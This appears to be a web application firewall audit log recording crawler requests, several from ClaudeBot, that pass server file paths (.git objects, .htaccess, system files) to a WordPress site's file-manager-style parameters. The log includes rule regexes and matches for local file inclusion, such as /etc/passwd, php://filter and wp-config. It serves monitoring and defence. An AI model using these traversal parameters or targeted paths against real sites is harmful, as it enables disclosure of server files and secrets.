folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/fa/b1ff693135c349b3d0d62d3b6ac90faf068682||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":280,"p2":5332,"p3":0,"p4":0,"p5":298,"sr":126,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:52:32.613023 +0100","transaction_id":"abO0MIS9jYN6zgxYZni5kAAAAwU","remote_address":"57.141.20.31","remote_port":38322,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/mr/LC_MESSAGES/iso_3166.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.31","X-Forwarded-Proto":"https","X-Request-Id":"d74cd2b064d3b98d249e7a005586f658","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12320806"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d74cd2b064d3b98d249e7a005586f658","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/mr/LC_MESSAGES/iso_3166.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":185,"p2":3795,"p3":0,"p4":0,"p5":357,"sr":105,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:52:37.079472 +0100","transaction_id":"abO0NPvasc2LTOMQTj93_AAAApY","remote_address":"57.141.20.8","remote_port":58314,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/70/8545467bb10c921d4ec90e32947caa2a711131 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.8","X-Forwarded-Proto":"https","X-Request-Id":"87ddec0708e703cbe38a745a0d530453","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7408424"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"87ddec0708e703cbe38a745a0d530453","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/harvest/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/70/8545467bb10c921d4ec90e32947caa2a711131||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":195,"p2":3640,"p3":0,"p4":0,"p5":363,"sr":95,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:52:38.035678 +0100","transaction_id":"abO0NYVUYFiiXhJv30mOnQAAAsc","remote_address":"57.141.20.11","remote_port":38314,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/locale/cs/LC_MESSAGES/bash.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.11","X-Forwarded-Proto":"https","X-Request-Id":"290b01fccf19edcc8b57c2db04d091ca","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2722463"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"290b01fccf19edcc8b57c2db04d091ca","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/cs/LC_MESSAGES/bash.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":284,"p2":4912,"p3":0,"p4":0,"p5":322,"sr":112,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:52:45.409825 +0100","transaction_id":"abO0Pfvasc2LTOMQTj94BQAAAok","remote_address":"57.141.20.28","remote_port":46042,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ea/22c3e6ee8719ffc1e98c7cec666b3734e20bbd HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.28","X-Forwarded-Proto":"https","X-Request-Id":"22915910c0be85f1069224f30a0e986f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3837309"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"22915910c0be85f1069224f30a0e986f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ea/22c3e6ee8719ffc1e98c7cec666b3734e20bbd||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":368,"p2":7568,"p3":0,"p4":0,"p5":393,"sr":170,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:52:46.183186 +0100","transaction_id":"abO0PbF5yQKviNRUY1bMygAAA8s","remote_address":"57.141.20.21","remote_port":52904,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=/htdocs/sivaco/node_modules/caniuse-lite/data/features/xhtml.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.21","X-Forwarded-Proto":"https","X-Request-Id":"f0a6cc1642606fe90eb6c880ba25df83","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6164471"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f0a6cc1642606fe90eb6c880ba25df83","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i).(?:\\\\b(?:x(?:link:href|html|mlns)|data:text/html|formaction|pattern\\\\b.{0,99}?=)|!entity[\\\\s\\\\x0b]+(?:%[\\\\s\\\\x0b]+)?[^\\\\s\\\\x0b]+[\\\\s\\\\x0b]+(?:system|PUBLIC)|@import|;base64)\\\\b\" at ARGS:edit. [file \"/usr/share/modsecurity_lws/013_i360_generic.conf\"] [line \"42\"] [id \"77350507\"] [msg \"IM360 WAF: Suspicious XSS Like Input||MV:/htdocs/sivaco/node_modules/caniuse-lite/data/features/xhtml.js||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":363,"p2":6793,"p3":0,"p4":0,"p5":444,"sr":201,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:56:24.363957 +0100","transaction_id":"abO1F4VUYFiiXhJv30mPfgAAAtg","remote_address":"57.141.20.6","remote_port":38740,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/lv/LC_MESSAGES/sysstat.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"cdb0f6320458513d7137cb779185c52c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4785024"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"cdb0f6320458513d7137cb779185c52c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/lv/LC_MESSAGES/sysstat.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":278,"p2":4749,"p3":0,"p4":0,"p5":371,"sr":148,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:58:00.736273 +0100","transaction_id":"abO1eL_XFT3UbapV64mRywAABAE","remote_address":"52.167.144.59","remote_port":50478,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ecakoog.jmkconsulting-ci.com","X-Real-IP":"52.167.144.59","X-Forwarded-Proto":"https","X-Request-Id":"a84857260b730bb1c076d34ac67f0643","X-L-Admin-Auth":"0","pragma":"no-cache","accept":"*/*","from":"bingbot(at)microsoft.com","user-agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11831049","Accept-Encoding":"br,gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Content-Length":"810","Connection":"close","Content-Type":"text/html; charset=iso-8859-1"},"body":""},"audit_data":{"error_messages":["[file \"core.c\"] [line 4012] [level 3] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.","[file \"core.c\"] [line 4012] [level 3] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace."],"handler":"redirect-handler","stopwatch":{"p1":191,"p2":3005,"p3":40,"p4":4,"p5":189,"sr":106,"sw":0,"l":0,"gc":0},"response_body_dechunked":true,"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:01:00.031787 +0100","transaction_id":"abO2K4VUYFiiXhJv30mRhQAAAtQ","remote_address":"57.141.20.28","remote_port":48656,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/poppler/cMap/Adobe-Korea1/KSC-H HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.28","X-Forwarded-Proto":"https","X-Request-Id":"50aefdc14424e49123b5e40d466d1951","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11798834"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"50aefdc14424e49123b5e40d466d1951","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/poppler/cMap/Adobe-Korea1/KSC-H||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":189,"p2":3929,"p3":0,"p4":0,"p5":284,"sr":119,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:01:05.426500 +0100","transaction_id":"abO2MbF5yQKviNRUY1bPhAAAA8M","remote_address":"216.73.216.152","remote_port":38806,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2F.htaccess HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"d3b965ccae749912519887601a995eea","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11275391"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"d3b965ccae749912519887601a995eea","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"\\\\\\\\\\\\\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abO2MbF5yQKviNRUY1bPhAAAA8M\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"\\\\.htaccess\" at REQUEST_URI."},"stopwatch":{"p1":332,"p2":3252,"p3":0,"p4":0,"p5":401,"sr":172,"sw":108,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:01:39.484176 +0100","transaction_id":"abO2U7F5yQKviNRUY1bPywAAA9I","remote_address":"216.73.216.152","remote_port":37870,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2F.htaccess HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a12f9b0359587457a6088ff4dc3da4c7","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9142587"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a12f9b0359587457a6088ff4dc3da4c7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"\\\\\\\\\\\\\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abO2U7F5yQKviNRUY1bPywAAA9I\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"\\\\.htaccess\" at REQUEST_URI."},"stopwatch":{"p1":331,"p2":4154,"p3":0,"p4":0,"p5":521,"sr":240,"sw":117,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:03:29.211317 +0100","transaction_id":"abO2wYVUYFiiXhJv30mSQgAAAs0","remote_address":"216.73.216.152","remote_port":53128,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fgeniebio.jmkconsulting-ci.com HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"419fc721b6bdb19403168dbe1133faa6","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11044634"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"419fc721b6bdb19403168dbe1133faa6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/geniebio.jmkconsulting-ci.com& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":279,"p2":2703,"p3":0,"p4":0,"p5":710,"sr":192,"sw":124,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:03:48.141464 +0100","transaction_id":"abO21Pvasc2LTOMQTj97GgAAApQ","remote_address":"216.73.216.152","remote_port":36928,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fimages HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b64f01fade87af25cc6155c8564fddc5","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12255926"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b64f01fade87af25cc6155c8564fddc5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/images& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":182,"p2":1575,"p3":0,"p4":0,"p5":299,"sr":101,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
